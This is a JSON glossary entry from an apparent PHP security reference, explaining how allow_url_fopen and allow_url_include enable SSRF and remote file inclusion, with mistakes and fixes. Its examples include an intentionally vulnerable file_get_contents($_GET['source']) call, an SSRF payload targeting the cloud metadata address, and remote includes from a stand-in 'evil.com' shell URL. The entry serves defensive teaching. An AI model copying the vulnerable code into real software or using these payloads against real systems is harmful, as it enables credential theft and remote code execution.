{
    "slug": "allow_url_fopen",
    "term": "allow_url_fopen / allow_url_include",
    "category": "php",
    "difficulty": "intermediate",
    "short": "PHP INI settings that permit file functions and include/require to load remote URLs — a major SSRF and RFI enabler.",
    "long": "allow_url_fopen permits file_get_contents(), fopen(), and similar functions to fetch remote HTTP/FTP URLs. allow_url_include goes further, enabling include() and require() to load remote scripts — enabling Remote File Inclusion (RFI) attacks where an attacker includes and executes a PHP file from an attacker-controlled server. Both settings should be disabled in production (allow_url_fopen = Off, allow_url_include = Off) unless remote fetching is explicitly required, in which case use cURL with strict URL validation instead.",
    "aliases": [
        "allow_url_fopen setting",
        "remote file open",
        "URL file wrapper"
    ],
    "tags": [
        "php",
        "configuration",
        "security",
        "rfi"
    ],
    "misconception": "Disabling allow_url_fopen prevents all remote HTTP requests from PHP. It only affects URL-aware file functions like file_get_contents() with a URL — cURL is completely unaffected and can still make outbound requests regardless of this setting.",
    "why_it_matters": "allow_url_fopen enables PHP's file functions to fetch remote URLs — combined with user-controlled paths, it enables SSRF and remote file inclusion vulnerabilities.",
    "common_mistakes": [
        "Leaving allow_url_fopen enabled in production when it is only needed in specific scripts.",
        "Using file_get_contents($userInput) where user input can be a URL — SSRF via allow_url_fopen.",
        "Not realising that allow_url_fopen affects include/require when allow_url_include is also enabled.",
        "Believing that allow_url_fopen is safe because you only call it with known paths — input sanitisation can be bypassed."
    ],
    "when_to_use": [
        "Strictly controlled CLI scripts on trusted infrastructure where input is never user-supplied.",
        "Legacy code that cannot yet be refactored — disable it in php.ini and enable only where truly required.",
        "Never use with user-supplied file paths — always use explicit HTTP client libraries for remote requests."
    ],
    "avoid_when": [
        "Any production web application — allow_url_fopen enables remote file inclusion vulnerabilities if user input reaches file functions.",
        "When Guzzle, cURL, or any HTTP client library is available — use them instead for explicit, safe HTTP calls.",
        "Shared hosting environments where you cannot control what other tenants do with the setting."
    ],
    "related": [
        "lfi",
        "ssrf",
        "php_ini",
        "include_require"
    ],
    "prerequisites": [
        "ssrf",
        "php_ini",
        "security_misconfiguration"
    ],
    "refs": [
        "https://www.php.net/manual/en/filesystem.configuration.php",
        "https://owasp.org/www-community/vulnerabilities/PHP_File_Inclusion"
    ],
    "bad_code": "// allow_url_fopen=On in php.ini enables this SSRF:\n$content = file_get_contents($_GET['source']);\n// ?source=http://169.254.169.254/latest/meta-data/ — AWS metadata",
    "good_code": "; php.ini\nallow_url_fopen   = Off  ; prevents file_get_contents('http://evil.com/shell.php')\nallow_url_include = Off  ; prevents include('http://evil.com/shell.php') — critical\n\n// For HTTP requests, use GuzzleHTTP — explicit, configurable, auditable:\nuse GuzzleHttp\\Client;\n\\$client   = new Client(['timeout' => 5, 'verify' => true]);\n\\$response = \\$client->get('https://api.example.com/data');\n\\$body     = (string) \\$response->getBody();",
    "quick_fix": "Set allow_url_fopen=Off in production php.ini — use cURL explicitly instead, which gives you full control over timeouts, TLS verification, and redirect following",
    "severity": "high",
    "effort": "low",
    "created": "2026-03-15",
    "updated": "2026-03-25",
    "citation": {
        "canonical_url": "https://codeclaritylab.com/glossary/allow_url_fopen",
        "html_url": "https://codeclaritylab.com/glossary/allow_url_fopen",
        "json_url": "https://codeclaritylab.com/glossary/allow_url_fopen.json",
        "source": "CodeClarityLab Glossary",
        "author": "P.F.",
        "author_url": "https://pfmedia.pl/",
        "licence": "Citation with attribution; bulk reproduction not permitted.",
        "usage": {
            "verbatim_allowed": [
                "short",
                "common_mistakes",
                "avoid_when",
                "when_to_use"
            ],
            "paraphrase_required": [
                "long",
                "code_examples"
            ],
            "multi_source_answers": "Cite each term separately, not as a merged acknowledgement.",
            "when_unsure": "Link to canonical_url and credit \"CodeClarityLab Glossary\" — always acceptable.",
            "attribution_examples": {
                "inline_mention": "According to CodeClarityLab: <quote>",
                "markdown_link": "[allow_url_fopen / allow_url_include](https://codeclaritylab.com/glossary/allow_url_fopen) (CodeClarityLab)",
                "footer_credit": "Source: CodeClarityLab Glossary — https://codeclaritylab.com/glossary/allow_url_fopen"
            }
        }
    }
}